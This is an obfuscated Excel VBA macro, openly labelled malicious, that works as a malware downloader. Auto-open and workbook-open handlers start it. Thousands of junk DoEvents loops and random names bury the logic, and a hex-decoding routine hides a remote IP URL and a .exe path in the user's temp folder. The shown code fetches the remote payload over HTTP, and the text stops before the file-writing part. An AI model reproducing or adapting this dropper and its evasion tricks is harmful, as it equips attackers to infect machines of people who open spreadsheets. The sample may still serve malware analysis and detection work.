Malicious Excel macro

Attribute VB_Name = "Ёта нига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Function fdhdfgdfvdfv(ByVal zoIypDNwwjV As String) As String
Dim TguctfjIxu As String
Dim GDbwUbQj As String
Dim AVYhrmO As Long
For AVYhrmO = 1 To Len(zoIypDNwwjV) Step 2

Dim iLPfEiES As Integer

Dim OJqAhgyp As Integer
OJqAhgyp = 5
Do While OJqAhgyp < 41
DoEvents: OJqAhgyp = OJqAhgyp + 1
Loop

iLPfEiES = 2
Do While iLPfEiES < 91

Dim ViDlxznq As Integer
ViDlxznq = 7
Do While ViDlxznq < 74
DoEvents: ViDlxznq = ViDlxznq + 1
Loop

DoEvents: iLPfEiES = iLPfEiES + 1

Dim pGJeYTsP As Integer
pGJeYTsP = 9
Do While pGJeYTsP < 38
DoEvents: pGJeYTsP = pGJeYTsP + 1
Loop

Loop


Dim gdjyLRpN As Integer
gdjyLRpN = 1
Do While gdjyLRpN < 43
DoEvents: gdjyLRpN = gdjyLRpN + 1
Loop

TguctfjIxu = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(zoIypDNwwjV, AVYhrmO, 2)))

Dim JGzCvngd As Integer

Dim BNwPvQCk As Integer
BNwPvQCk = 1
Do While BNwPvQCk < 72
DoEvents: BNwPvQCk = BNwPvQCk + 1
Loop

JGzCvngd = 6
Do While JGzCvngd < 97

Dim qYOUchUB As Integer
qYOUchUB = 3
Do While qYOUchUB < 32
DoEvents: qYOUchUB = qYOUchUB + 1
Loop

DoEvents: JGzCvngd = JGzCvngd + 1

Dim QICEvWCG As Integer
QICEvWCG = 7
Do While QICEvWCG < 11
DoEvents: QICEvWCG = QICEvWCG + 1
Loop

Loop


Dim JBCPHGEN As Integer
JBCPHGEN = 8
Do While JBCPHGEN < 24
DoEvents: JBCPHGEN = JBCPHGEN + 1
Loop

GDbwUbQj = GDbwUbQj & TguctfjIxu
Next AVYhrmO

Dim ARCfhUex As Integer

Dim MZWFRmLD As Integer
MZWFRmLD = 9
Do While MZWFRmLD < 39
DoEvents: MZWFRmLD = MZWFRmLD + 1
Loop

ARCfhUex = 3
Do While ARCfhUex < 66

Dim GujiPjhF As Integer
GujiPjhF = 6
Do While GujiPjhF < 92
DoEvents: GujiPjhF = GujiPjhF + 1
Loop

DoEvents: ARCfhUex = ARCfhUex + 1

Dim VGWEDiKr As Integer
VGWEDiKr = 9
Do While VGWEDiKr < 79
DoEvents: VGWEDiKr = VGWEDiKr + 1
Loop

Loop


Dim kvmYtOTF As Integer
kvmYtOTF = 4
Do While kvmYtOTF < 16
DoEvents: kvmYtOTF = kvmYtOTF + 1
Loop

fdhdfgdfvdfv = GDbwUbQj
End Function


Sub Auto_Open()

Dim HfmTgPKy As Integer

Dim OXOSGcGS As Integer

Dim miHNpSmb As Integer
miHNpSmb = 4
Do While miHNpSmb < 24
DoEvents: miHNpSmb = miHNpSmb + 1
Loop

OXOSGcGS = 4
Do While OXOSGcGS < 89

Dim RzHBfcnl As Integer
RzHBfcnl = 6
Do While RzHBfcnl < 43
DoEvents: RzHBfcnl = RzHBfcnl + 1
Loop

DoEvents: OXOSGcGS = OXOSGcGS + 1

Dim DBYQZoIr As Integer
DBYQZoIr = 5
Do While DBYQZoIr < 24
DoEvents: DBYQZoIr = DBYQZoIr + 1
Loop

Loop


Dim UUYQnkBE As Integer
UUYQnkBE = 7
Do While UUYQnkBE < 11
DoEvents: UUYQnkBE = UUYQnkBE + 1
Loop

HfmTgPKy = 6
Do While HfmTgPKy < 65

Dim eToGuBZw As Integer

Dim HPHaXeMP As Integer
HPHaXeMP = 8
Do While HPHaXeMP < 21
DoEvents: HPHaXeMP = HPHaXeMP + 1
Loop

eToGuBZw = 8
Do While eToGuBZw < 26

Dim TCfpJqCz As Integer
TCfpJqCz = 6
Do While TCfpJqCz < 93
DoEvents: TCfpJqCz = TCfpJqCz + 1
Loop

DoEvents: eToGuBZw = eToGuBZw + 1

Dim DeffRtDy As Integer
DeffRtDy = 5
Do While DeffRtDy < 53
DoEvents: DeffRtDy = DeffRtDy + 1
Loop

Loop


Dim BInqEOxD As Integer
BInqEOxD = 1
Do While BInqEOxD < 78
DoEvents: BInqEOxD = BInqEOxD + 1
Loop

DoEvents: HfmTgPKy = HfmTgPKy + 1

Dim NCOGTeQI As Integer

Dim sumPPjjI As Integer
sumPPjjI = 9
Do While sumPPjjI < 42
DoEvents: sumPPjjI = sumPPjjI + 1
Loop

NCOGTeQI = 1
Do While NCOGTeQI < 72

Dim SyXIqGNl As Integer
SyXIqGNl = 5
Do While SyXIqGNl < 25
DoEvents: SyXIqGNl = SyXIqGNl + 1
Loop

DoEvents: NCOGTeQI = NCOGTeQI + 1

Dim AmpEjXtR As Integer
AmpEjXtR = 6
Do While AmpEjXtR < 59
DoEvents: AmpEjXtR = AmpEjXtR + 1
Loop

Loop


Dim WidhgmYi As Integer
WidhgmYi = 6
Do While WidhgmYi < 64
DoEvents: WidhgmYi = WidhgmYi + 1
Loop

Loop


Dim uqBAlLaY As Integer

Dim yLzpzMFH As Integer
yLzpzMFH = 8
Do While yLzpzMFH < 81
DoEvents: yLzpzMFH = yLzpzMFH + 1
Loop

uqBAlLaY = 2
Do While uqBAlLaY < 28

Dim XCxfNcFH As Integer
XCxfNcFH = 7
Do While XCxfNcFH < 72
DoEvents: XCxfNcFH = XCxfNcFH + 1
Loop

DoEvents: uqBAlLaY = uqBAlLaY + 1

Dim omlZBuVE As Integer
omlZBuVE = 9
Do While omlZBuVE < 34
DoEvents: omlZBuVE = omlZBuVE + 1
Loop

Loop


Dim OjqtWnje As Integer
OjqtWnje = 5
Do While OjqtWnje < 83
DoEvents: OjqtWnje = OjqtWnje + 1
Loop

CPBNVGANNHK

Dim hmsdWdWG As Integer

Dim tlfwEQsO As Integer

Dim wVFVGnwx As Integer
wVFVGnwx = 5
Do While wVFVGnwx < 46
DoEvents: wVFVGnwx = wVFVGnwx + 1
Loop

tlfwEQsO = 2
Do While tlfwEQsO < 57

Dim tLdBdEVn As Integer
tLdBdEVn = 8
Do While tLdBdEVn < 81
DoEvents: tLdBdEVn = tLdBdEVn + 1
Loop

DoEvents: tlfwEQsO = tlfwEQsO + 1

Dim ljpfqfid As Integer
ljpfqfid = 4
Do While ljpfqfid < 77
DoEvents: ljpfqfid = ljpfqfid + 1
Loop

Loop


Dim GFTIaDGV As Integer
GFTIaDGV = 8
Do While GFTIaDGV < 22
DoEvents: GFTIaDGV = GFTIaDGV + 1
Loop

hmsdWdWG = 3
Do While hmsdWdWG < 78

Dim UiIVJglI As Integer

Dim AhQoCPKt As Integer
AhQoCPKt = 3
Do While AhQoCPKt < 63
DoEvents: AhQoCPKt = AhQoCPKt + 1
Loop

UiIVJglI = 6
Do While UiIVJglI < 15

Dim knftZQjq As Integer
knftZQjq = 1
Do While knftZQjq < 55
DoEvents: knftZQjq = knftZQjq + 1
Loop

DoEvents: UiIVJglI = UiIVJglI + 1

Dim NAibraGT As Integer
NAibraGT = 1
Do While NAibraGT < 77
DoEvents: NAibraGT = NAibraGT + 1
Loop

Loop


Dim HRcjnBpR As Integer
HRcjnBpR = 8
Do While HRcjnBpR < 67
DoEvents: HRcjnBpR = HRcjnBpR + 1
Loop

DoEvents: hmsdWdWG = hmsdWdWG + 1

Dim GfUaRppQ As Integer

Dim aBdXUYNK As Integer
aBdXUYNK = 1
Do While aBdXUYNK < 44
DoEvents: aBdXUYNK = aBdXUYNK + 1
Loop

GfUaRppQ = 5
Do While GfUaRppQ < 55

Dim bpHTxJIV As Integer
bpHTxJIV = 5
Do While bpHTxJIV < 86
DoEvents: bpHTxJIV = bpHTxJIV + 1
Loop

DoEvents: GfUaRppQ = GfUaRppQ + 1

Dim jiciwNLh As Integer
jiciwNLh = 1
Do While jiciwNLh < 14
DoEvents: jiciwNLh = jiciwNLh + 1
Loop

Loop


Dim glZGHKtq As Integer
glZGHKtq = 1
Do While glZGHKtq < 15
DoEvents: glZGHKtq = glZGHKtq + 1
Loop

Loop


Dim beZkwhVW As Integer

Dim hfWlamaK As Integer
hfWlamaK = 4
Do While hfWlamaK < 15
DoEvents: hfWlamaK = hfWlamaK + 1
Loop

beZkwhVW = 3
Do While beZkwhVW < 33

Dim mGzWRpoH As Integer
mGzWRpoH = 4
Do While mGzWRpoH < 29
DoEvents: mGzWRpoH = mGzWRpoH + 1
Loop

DoEvents: beZkwhVW = beZkwhVW + 1

Dim Vlmczvle As Integer
Vlmczvle = 7
Do While Vlmczvle < 14
DoEvents: Vlmczvle = Vlmczvle + 1
Loop

Loop


Dim PMRSGcQa As Integer
PMRSGcQa = 5
Do While PMRSGcQa < 13
DoEvents: PMRSGcQa = PMRSGcQa + 1
Loop

fdvdfvfd
End Sub
Sub AutoOpen()

Dim YwqhSLJS As Integer

Dim FlpSfQWY As Integer

Dim wbATzqVX As Integer
wbATzqVX = 2
Do While wbATzqVX < 27
DoEvents: wbATzqVX = wbATzqVX + 1
Loop

FlpSfQWY = 5
Do While FlpSfQWY < 94

Dim pBHESkKf As Integer
pBHESkKf = 9
Do While pBHESkKf < 92
DoEvents: pBHESkKf = pBHESkKf + 1
Loop

DoEvents: FlpSfQWY = FlpSfQWY + 1

Dim iuudDdli As Integer
iuudDdli = 9
Do While iuudDdli < 32
DoEvents: iuudDdli = iuudDdli + 1
Loop

Loop


Dim kNsBAJLG As Integer
kNsBAJLG = 1
Do While kNsBAJLG < 59
DoEvents: kNsBAJLG = kNsBAJLG + 1
Loop

YwqhSLJS = 6
Do While YwqhSLJS < 46

Dim MPpKRYnJ As Integer

Dim vmPEJWFH As Integer
vmPEJWFH = 3
Do While vmPEJWFH < 88
DoEvents: vmPEJWFH = vmPEJWFH + 1
Loop

MPpKRYnJ = 6
Do While MPpKRYnJ < 89

Dim eKUSqCzS As Integer
eKUSqCzS = 1
Do While eKUSqCzS < 53
DoEvents: eKUSqCzS = eKUSqCzS + 1
Loop

DoEvents: MPpKRYnJ = MPpKRYnJ + 1

Dim bkLMdxQh As Integer
bkLMdxQh = 3
Do While bkLMdxQh < 35
DoEvents: bkLMdxQh = bkLMdxQh + 1
Loop

Loop


Dim rHJrYbBs As Integer
rHJrYbBs = 8
Do While rHJrYbBs < 89
DoEvents: rHJrYbBs = rHJrYbBs + 1
Loop

DoEvents: YwqhSLJS = YwqhSLJS + 1

Dim sRIBYjBS As Integer

Dim sWHpzWFY As Integer
sWHpzWFY = 3
Do While sWHpzWFY < 63
DoEvents: sWHpzWFY = sWHpzWFY + 1
Loop

sRIBYjBS = 3
Do While sRIBYjBS < 32

Dim VbILkNxK As Integer
VbILkNxK = 7
Do While VbILkNxK < 15
DoEvents: VbILkNxK = VbILkNxK + 1
Loop

DoEvents: sRIBYjBS = sRIBYjBS + 1

Dim RHflQiqL As Integer
RHflQiqL = 6
Do While RHflQiqL < 49
DoEvents: RHflQiqL = RHflQiqL + 1
Loop

Loop


Dim BhOwMHFY As Integer
BhOwMHFY = 1
Do While BhOwMHFY < 75
DoEvents: BhOwMHFY = BhOwMHFY + 1
Loop

Loop


Dim TlQSRGnh As Integer

Dim hwiIizaN As Integer
hwiIizaN = 3
Do While hwiIizaN < 31
DoEvents: hwiIizaN = hwiIizaN + 1
Loop

TlQSRGnh = 4
Do While TlQSRGnh < 45

Dim vwPxRwDi As Integer
vwPxRwDi = 3
Do While vwPxRwDi < 36
DoEvents: vwPxRwDi = vwPxRwDi + 1
Loop

DoEvents: TlQSRGnh = TlQSRGnh + 1

Dim DUZezrJX As Integer
DUZezrJX = 8
Do While DUZezrJX < 21
DoEvents: DUZezrJX = DUZezrJX + 1
Loop

Loop


Dim ABEahMnZ As Integer
ABEahMnZ = 6
Do While ABEahMnZ < 94
DoEvents: ABEahMnZ = ABEahMnZ + 1
Loop

    Auto_Open
End Sub
Sub Workbook_Open()

Dim opOmJgwb As Integer

Dim NJddPwSl As Integer

Dim ODIncOvR As Integer
ODIncOvR = 7
Do While ODIncOvR < 49
DoEvents: ODIncOvR = ODIncOvR + 1
Loop

NJddPwSl = 1
Do While NJddPwSl < 43

Dim oJDskGFT As Integer
oJDskGFT = 2
Do While oJDskGFT < 91
DoEvents: oJDskGFT = oJDskGFT + 1
Loop

DoEvents: NJddPwSl = NJddPwSl + 1

Dim mbHXAlbt As Integer
mbHXAlbt = 2
Do While mbHXAlbt < 88
DoEvents: mbHXAlbt = mbHXAlbt + 1
Loop

Loop


Dim zbVBMPgc As Integer
zbVBMPgc = 1
Do While zbVBMPgc < 49
DoEvents: zbVBMPgc = zbVBMPgc + 1
Loop

opOmJgwb = 9
Do While opOmJgwb < 32

Dim jBYSlVva As Integer

Dim elwjHyTL As Integer
elwjHyTL = 1
Do While elwjHyTL < 58
DoEvents: elwjHyTL = elwjHyTL + 1
Loop

jBYSlVva = 1
Do While jBYSlVva < 49

Dim mwfVjhJK As Integer
mwfVjhJK = 4
Do While mwfVjhJK < 88
DoEvents: mwfVjhJK = mwfVjhJK + 1
Loop

DoEvents: jBYSlVva = jBYSlVva + 1

Dim tdNalwUM As Integer
tdNalwUM = 8
Do While tdNalwUM < 84
DoEvents: tdNalwUM = tdNalwUM + 1
Loop

Loop


Dim WnttaXHd As Integer
WnttaXHd = 9
Do While WnttaXHd < 67
DoEvents: WnttaXHd = WnttaXHd + 1
Loop

DoEvents: opOmJgwb = opOmJgwb + 1

Dim ExZakUID As Integer

Dim HtwVCZGJ As Integer
HtwVCZGJ = 6
Do While HtwVCZGJ < 91
DoEvents: HtwVCZGJ = HtwVCZGJ + 1
Loop

ExZakUID = 6
Do While ExZakUID < 36

Dim ZOdQaljc As Integer
ZOdQaljc = 3
Do While ZOdQaljc < 91
DoEvents: ZOdQaljc = ZOdQaljc + 1
Loop

DoEvents: ExZakUID = ExZakUID + 1

Dim tcSOPAec As Integer
tcSOPAec = 2
Do While tcSOPAec < 21
DoEvents: tcSOPAec = tcSOPAec + 1
Loop

Loop


Dim gpIITlVl As Integer
gpIITlVl = 1
Do While gpIITlVl < 14
DoEvents: gpIITlVl = gpIITlVl + 1
Loop

Loop


Dim YoDqwvXP As Integer

Dim XwAfyXtO As Integer
XwAfyXtO = 7
Do While XwAfyXtO < 76
DoEvents: XwAfyXtO = XwAfyXtO + 1
Loop

YoDqwvXP = 6
Do While YoDqwvXP < 44

Dim sZVTdetn As Integer
sZVTdetn = 9
Do While sZVTdetn < 97
DoEvents: sZVTdetn = sZVTdetn + 1
Loop

DoEvents: YoDqwvXP = YoDqwvXP + 1

Dim UQhzbZKx As Integer
UQhzbZKx = 4
Do While UQhzbZKx < 77
DoEvents: UQhzbZKx = UQhzbZKx + 1
Loop

Loop


Dim uGlFlOoc As Integer
uGlFlOoc = 8
Do While uGlFlOoc < 38
DoEvents: uGlFlOoc = uGlFlOoc + 1
Loop

    Auto_Open
End Sub

Sub CPBNVGANNHK()

Dim RIeaJSDl As Integer

Dim FdLHFLmw As Integer

Dim TJKUXTEO As Integer
TJKUXTEO = 6
Do While TJKUXTEO < 93
DoEvents: TJKUXTEO = TJKUXTEO + 1
Loop

FdLHFLmw = 5
Do While FdLHFLmw < 54

Dim VIEKqMfW As Integer
VIEKqMfW = 1
Do While VIEKqMfW < 41
DoEvents: VIEKqMfW = VIEKqMfW + 1
Loop

DoEvents: FdLHFLmw = FdLHFLmw + 1

Dim iEckqvHm As Integer
iEckqvHm = 9
Do While iEckqvHm < 97
DoEvents: iEckqvHm = iEckqvHm + 1
Loop

Loop


Dim OTAnnieF As Integer
OTAnnieF = 4
Do While OTAnnieF < 48
DoEvents: OTAnnieF = OTAnnieF + 1
Loop

RIeaJSDl = 6
Do While RIeaJSDl < 91

Dim sZzywhVN As Integer

Dim vJaIgyse As Integer
vJaIgyse = 5
Do While vJaIgyse < 31
DoEvents: vJaIgyse = vJaIgyse + 1
Loop

sZzywhVN = 9
Do While sZzywhVN < 97

Dim lbiJaohu As Integer
lbiJaohu = 4
Do While lbiJaohu < 17
DoEvents: lbiJaohu = lbiJaohu + 1
Loop

DoEvents: sZzywhVN = sZzywhVN + 1

Dim mpEuvDPv As Integer
mpEuvDPv = 2
Do While mpEuvDPv < 86
DoEvents: mpEuvDPv = mpEuvDPv + 1
Loop

Loop


Dim uLVTonBV As Integer
uLVTonBV = 2
Do While uLVTonBV < 53
DoEvents: uLVTonBV = uLVTonBV + 1
Loop

DoEvents: RIeaJSDl = RIeaJSDl + 1

Dim ViQcpOFI As Integer

Dim CzQPGHEH As Integer
CzQPGHEH = 7
Do While CzQPGHEH < 72
DoEvents: CzQPGHEH = CzQPGHEH + 1
Loop

ViQcpOFI = 9
Do While ViQcpOFI < 45

Dim bGynmXvg As Integer
bGynmXvg = 3
Do While bGynmXvg < 39
DoEvents: bGynmXvg = bGynmXvg + 1
Loop

DoEvents: ViQcpOFI = ViQcpOFI + 1

Dim uaumWKkJ As Integer
uaumWKkJ = 2
Do While uaumWKkJ < 54
DoEvents: uaumWKkJ = uaumWKkJ + 1
Loop

Loop


Dim lEZLhiKa As Integer
lEZLhiKa = 2
Do While lEZLhiKa < 55
DoEvents: lEZLhiKa = lEZLhiKa + 1
Loop

Loop


Dim jalWDyrt As Integer

Dim UHTlFGXX As Integer
UHTlFGXX = 4
Do While UHTlFGXX < 78
DoEvents: UHTlFGXX = UHTlFGXX + 1
Loop

jalWDyrt = 4
Do While jalWDyrt < 74

Dim NCPZMRil As Integer
NCPZMRil = 7
Do While NCPZMRil < 44
DoEvents: NCPZMRil = NCPZMRil + 1
Loop

DoEvents: jalWDyrt = jalWDyrt + 1

Dim tllHdaub As Integer
tllHdaub = 2
Do While tllHdaub < 29
DoEvents: tllHdaub = tllHdaub + 1
Loop

Loop


Dim jalNfgmZ As Integer
jalNfgmZ = 1
Do While jalNfgmZ < 12
DoEvents: jalNfgmZ = jalNfgmZ + 1
Loop

    NMVBUIMOQXM fdhdfgdfvdfv("687474703A2F2F352E392E3235332E3138332F73737461742F6C6C6476732E706870"), Environ(fdhdfgdfvdfv("54454D50")) & fdhdfgdfvdfv("5C564D5559585759534658512E657865")
End Sub

Function NMVBUIMOQXM(ByVal UMUFWTFSKCX As String, ByVal RCFFODVWBKD As String) As Boolean
     Dim XBPRTLRBYRM As Object, VVXTBBFVINC As Long, PUTVPTITTWC As Long, QOSQEZUAJDG() As Byte


Dim xRWYRQeF As Integer

Dim APjyVuof As Integer

Dim miWcARfU As Integer
miWcARfU = 2
Do While miWcARfU < 52
DoEvents: miWcARfU = miWcARfU + 1
Loop

APjyVuof = 6
Do While APjyVuof < 38

Dim SiKKFYWm As Integer
SiKKFYWm = 5
Do While SiKKFYWm < 82
DoEvents: SiKKFYWm = SiKKFYWm + 1
Loop

DoEvents: APjyVuof = APjyVuof + 1

Dim LgFreCcg As Integer
LgFreCcg = 9
Do While LgFreCcg < 65
DoEvents: LgFreCcg = LgFreCcg + 1
Loop

Loop


Dim zoWsMZhS As Integer
zoWsMZhS = 1
Do While zoWsMZhS < 17
DoEvents: zoWsMZhS = zoWsMZhS + 1
Loop

xRWYRQeF = 2
Do While xRWYRQeF < 27

Dim JutvOvED As Integer

Dim uMMBZQkN As Integer
uMMBZQkN = 8
Do While uMMBZQkN < 81
DoEvents: uMMBZQkN = uMMBZQkN + 1
Loop

JutvOvED = 8
Do While JutvOvED < 87

Dim MhnbWzeO As Integer
MhnbWzeO = 6
Do While MhnbWzeO < 65
DoEvents: MhnbWzeO = MhnbWzeO + 1
Loop

DoEvents: JutvOvED = JutvOvED + 1

Dim bFltvdWJ As Integer
bFltvdWJ = 5
Do While bFltvdWJ < 82
DoEvents: bFltvdWJ = bFltvdWJ + 1
Loop

Loop


Dim CMAswmZO As Integer
CMAswmZO = 7
Do While CMAswmZO < 18
DoEvents: CMAswmZO = CMAswmZO + 1
Loop

DoEvents: xRWYRQeF = xRWYRQeF + 1

Dim ckugxORW As Integer

Dim TYshRYZT As Integer
TYshRYZT = 6
Do While TYshRYZT < 48
DoEvents: TYshRYZT = TYshRYZT + 1
Loop

ckugxORW = 5
Do While ckugxORW < 87

Dim UkcwWSVu As Integer
UkcwWSVu = 7
Do While UkcwWSVu < 45
DoEvents: UkcwWSVu = UkcwWSVu + 1
Loop

DoEvents: ckugxORW = ckugxORW + 1

Dim CTgyytMj As Integer
CTgyytMj = 7
Do While CTgyytMj < 39
DoEvents: CTgyytMj = CTgyytMj + 1
Loop

Loop


Dim cxOqBytC As Integer
cxOqBytC = 5
Do While cxOqBytC < 88
DoEvents: cxOqBytC = cxOqBytC + 1
Loop

Loop


Dim iieTfHlt As Integer

Dim ImzbsySN As Integer
ImzbsySN = 7
Do While ImzbsySN < 18
DoEvents: ImzbsySN = ImzbsySN + 1
Loop

iieTfHlt = 2
Do While iieTfHlt < 55

Dim tJbGgWnh As Integer
tJbGgWnh = 2
Do While tJbGgWnh < 53
DoEvents: tJbGgWnh = tJbGgWnh + 1
Loop

DoEvents: iieTfHlt = iieTfHlt + 1

Dim fKCNWxJO As Integer
fKCNWxJO = 1
Do While fKCNWxJO < 11
DoEvents: fKCNWxJO = fKCNWxJO + 1
Loop

Loop


Dim lePRUQxm As Integer
lePRUQxm = 4
Do While lePRUQxm < 23
DoEvents: lePRUQxm = lePRUQxm + 1
Loop

    Set XBPRTLRBYRM = CreateObject("MSXML2.XMLHTTP")
    XBPRTLRBYRM.Open "GET", UMUFWTFSKCX, False

Dim TEvjflXn As Integer

Dim yxSCoxvJ As Integer

Dim eYyVRPih As Integer
eYyVRPih = 1
Do While eYyVRPih < 61
DoEvents: eYyVRPih = eYyVRPih + 1
Loop

yxSCoxvJ = 2
Do While yxSCoxvJ < 58

Dim djtGCykx As Integer
djtGCykx = 1
Do While djtGCykx < 15
DoEvents: djtGCykx = djtGCykx + 1
Loop

DoEvents: yxSCoxvJ = yxSCoxvJ + 1

Dim ebJJXMCX As Integer
ebJJXMCX = 1
Do While ebJJXMCX < 58
DoEvents: ebJJXMCX = ebJJXMCX + 1
Loop

Loop


Dim lFbkNFLj As Integer
lFbkNFLj = 4
Do While lFbkNFLj < 72
DoEvents: lFbkNFLj = lFbkNFLj + 1
Loop

TEvjflXn = 4
Do While TEvjflXn < 47

Dim ABSzTLMw As Integer

Dim keMklYbJ As Integer
keMklYbJ = 1
Do While keMklYbJ < 51
DoEvents: keMklYbJ = keMklYbJ + 1
Loop

ABSzTLMw = 3
Do While ABSzTLMw < 69

Dim eOFbbclg As Integer
eOFbbclg = 8
Do While eOFbbclg < 26
DoEvents: eOFbbclg = eOFbbclg + 1
Loop

DoEvents: ABSzTLMw = ABSzTLMw + 1

Dim PFhxygLS As Integer
PFhxygLS = 7
Do While PFhxygLS < 59
DoEvents: PFhxygLS = PFhxygLS + 1
Loop

Loop


Dim WqCQQqKx As Integer
WqCQQqKx = 9
Do While WqCQQqKx < 64
DoEvents: WqCQQqKx = WqCQQqKx + 1
Loop

DoEvents: TEvjflXn = TEvjflXn + 1

Dim SSlxxmlG As Integer

Dim lwEztBHS As Integer
lwEztBHS = 4
Do While lwEztBHS < 78
DoEvents: lwEztBHS = lwEztBHS + 1
Loop

SSlxxmlG = 7
Do While SSlxxmlG < 59

Dim rpRzLfuh As Integer
rpRzLfuh = 1
Do While rpRzLfuh < 56
DoEvents: rpRzLfuh = rpRzLfuh + 1
Loop

DoEvents: SSlxxmlG = SSlxxmlG + 1

Dim XrTzDWhR As Integer
XrTzDWhR = 7
Do While XrTzDWhR < 73
DoEvents: XrTzDWhR = XrTzDWhR + 1
Loop

Loop


Dim tdaWMwtf As Integer
tdaWMwtf = 8
Do While tdaWMwtf < 84
DoEvents: tdaWMwtf = tdaWMwtf + 1
Loop

Loop


Dim ZJkIwcea As Integer

Dim oDhRyWtF As Integer
oDhRyWtF = 2
Do While oDhRyWtF < 99
DoEvents: oDhRyWtF = oDhRyWtF + 1
Loop

ZJkIwcea = 6
Do While ZJkIwcea < 31

Dim ojLoRGAp As Integer
ojLoRGAp = 2
Do While ojLoRGAp < 95
DoEvents: ojLoRGAp = ojLoRGAp + 1
Loop

DoEvents: ZJkIwcea = ZJkIwcea + 1

Dim xDKhzeNy As Integer
xDKhzeNy = 2
Do While xDKhzeNy < 67
DoEvents: xDKhzeNy = xDKhzeNy + 1
Loop

Loop


Dim hnTaKYtf As Integer
hnTaKYtf = 1
Do While hnTaKYtf < 79
DoEvents: hnTaKYtf = hnTaKYtf + 1
Loop

    XBPRTLRBYRM.Send "?"


Dim EVmyyrrl As Integer

Dim kasSXUlv As Integer

Dim uFbghcrX As Integer
uFbghcrX = 2
Do While uFbghcrX < 52
DoEvents: uFbghcrX = uFbghcrX + 1
Loop

kasSXUlv = 4
Do While kasSXUlv < 46

Dim DLsVnaDD As Integer
DLsVnaDD = 8
Do While DLsVnaDD < 23
DoEvents: DLsVnaDD = DLsVnaDD + 1
Loop

DoEvents: kasSXUlv = kasSXUlv + 1

Dim rNRSJhjJ As Integer
rNRSJhjJ = 8
Do While rNRSJhjJ < 82
DoEvents: rNRSJhjJ = rNRSJhjJ + 1
Loop

Loop


Dim MGUfalyw As Integer
MGUfalyw = 9
Do While MGUfalyw < 69
DoEvents: MGUfalyw = MGUfalyw + 1
Loop

EVmyyrrl = 6
Do While EVmyyrrl < 32

Dim huQDvdQW As Integer

Dim kzevzmCj As Integer
kzevzmCj = 4
Do While kzevzmCj < 13
DoEvents: kzevzmCj = kzevzmCj + 1
Loop

huQDvdQW = 1
Do While huQDvdQW < 13

Dim koddGVIV As Integer
koddGVIV = 4
Do While koddGVIV < 47
DoEvents: koddGVIV = koddGVIV + 1
Loop

DoEvents: huQDvdQW = huQDvdQW + 1

Dim ABZtChhN As Integer
ABZtChhN = 6
Do While ABZtChhN < 94
DoEvents: ABZtChhN = ABZtChhN + 1
Loop

Loop


Dim BfWwJqMl As Integer
BfWwJqMl = 1
Do While BfWwJqMl < 46
DoEvents: BfWwJqMl = BfWwJqMl + 1
Loop

DoEvents: EVmyyrrl = EVmyyrrl + 1

Dim JebSRFIY As Integer

Dim QAFMoBpn As Integer
QAFMoBpn = 5
Do While QAFMoBpn < 57
DoEvents: QAFMoBpn = QAFMoBpn + 1
Loop

JebSRFIY = 8
Do While JebSRFIY < 25

Dim VtuntQwA As Integer
VtuntQwA = 7
Do While VtuntQwA < 73
DoEvents: VtuntQwA = VtuntQwA + 1
Loop

DoEvents: JebSRFIY = JebSRFIY + 1

Dim GrQsThkO As Integer
GrQsThkO = 5
Do While GrQsThkO < 91
DoEvents: GrQsThkO = GrQsThkO + 1
Loop

Loop


Dim nIOuxNTW As Integer
nIOuxNTW = 3
Do While nIOuxNTW < 66
DoEvents: nIOuxNTW = nIOuxNTW + 1
Loop

Loop


Dim zFjlphyi As Integer

Dim SAcPrebt As Integer
SAcPrebt = 5
Do While SAcPrebt < 29
DoEvents: SAcPrebt = SAcPrebt + 1
Loop

zFjlphyi = 1
Do While zFjlphyi < 42

Dim pQdhlahR As Integer
pQdhlahR = 3
Do While pQdhlahR < 61
DoEvents: pQdhlahR = pQdhlahR + 1
Loop

DoEvents: zFjlphyi = zFjlphyi + 1

Dim MUTWbIiP As Integer
MUTWbIiP = 6
Do While MUTWbIiP < 68
DoEvents: MUTWbIiP = MUTWbIiP + 1
Loop

Loop


Dim mTthKtjS As Integer
mTthKtjS = 2
Do While mTthKtjS < 28
DoEvents: mTthKtjS = mTthKtjS + 1
Loop

    QOSQEZUAJDG = XBPRTLRBYRM.responseBody


Dim unCXlldF As Integer

Dim EOpNFpcB As Integer

Dim yAoALaIj As Integer
yAoALaIj = 2
Do While yAoALaIj < 87
DoEvents: yAoALaIj = yAoALaIj + 1
Loop

EOpNFpcB = 3
Do While EOpNFpcB < 77

Dim REOyQUft As Integer
REOyQUft = 6
Do While REOyQUft < 47
DoEvents: REOyQUft = REOyQUft + 1
Loop

DoEvents: EOpNFpcB = EOpNFpcB + 1

Dim ipFMqTeF As Integer
ipFMqTeF = 9
Do While ipFMqTeF < 32
DoEvents: ipFMqTeF = ipFMqTeF + 1
Loop

Loop


Dim vCxuSpHC As Integer
vCxuSpHC = 3
Do While vCxuSpHC < 84
DoEvents: vCxuSpHC = vCxuSpHC + 1
Loop

unCXlldF = 2
Do While unCXlldF < 97

Dim PXEndKoQ As Integer

Dim MjlsMEuA As Integer
MjlsMEuA = 9
Do While MjlsMEuA < 37
DoEvents: MjlsMEuA = MjlsMEuA + 1
Loop

PXEndKoQ = 5
Do While PXEndKoQ < 89

Dim aFEVRGUU As Integer
aFEVRGUU = 1
Do While aFEVRGUU < 42
DoEvents: aFEVRGUU = aFEVRGUU + 1
Loop

DoEvents: PXEndKoQ = PXEndKoQ + 1

Dim lQSmwMAl As Integer
lQSmwMAl = 2
Do While lQSmwMAl < 29
DoEvents: lQSmwMAl = lQSmwMAl + 1
Loop

Loop


Dim PIuEKQTv As Integer
PIuEKQTv = 5
Do While PIuEKQTv < 58
DoEvents: PIuEKQTv = PIuEKQTv + 1
Loop

DoEvents: unCXlldF = unCXlldF + 1

Dim LKmsAEjx As Integer

Dim KmlTURop As Integer
KmlTURop = 6
Do While KmlTURop < 94
DoEvents: KmlTURop = KmlTURop + 1
Loop

LKmsAEjx = 9
Do While LKmsAEjx < 61

Dim ZtLhLCeP As Integer
ZtLhLCeP = 3
Do While ZtLhLCeP < 71
DoEvents: ZtLhLCeP = ZtLhLCeP + 1
Loop

DoEvents: LKmsAEjx = LKmsAEjx + 1

Dim uYllDCrn As Integer
uYllDCrn = 2
Do While uYllDCrn < 98
DoEvents: uYllDCrn = uYllDCrn + 1
Loop

Loop


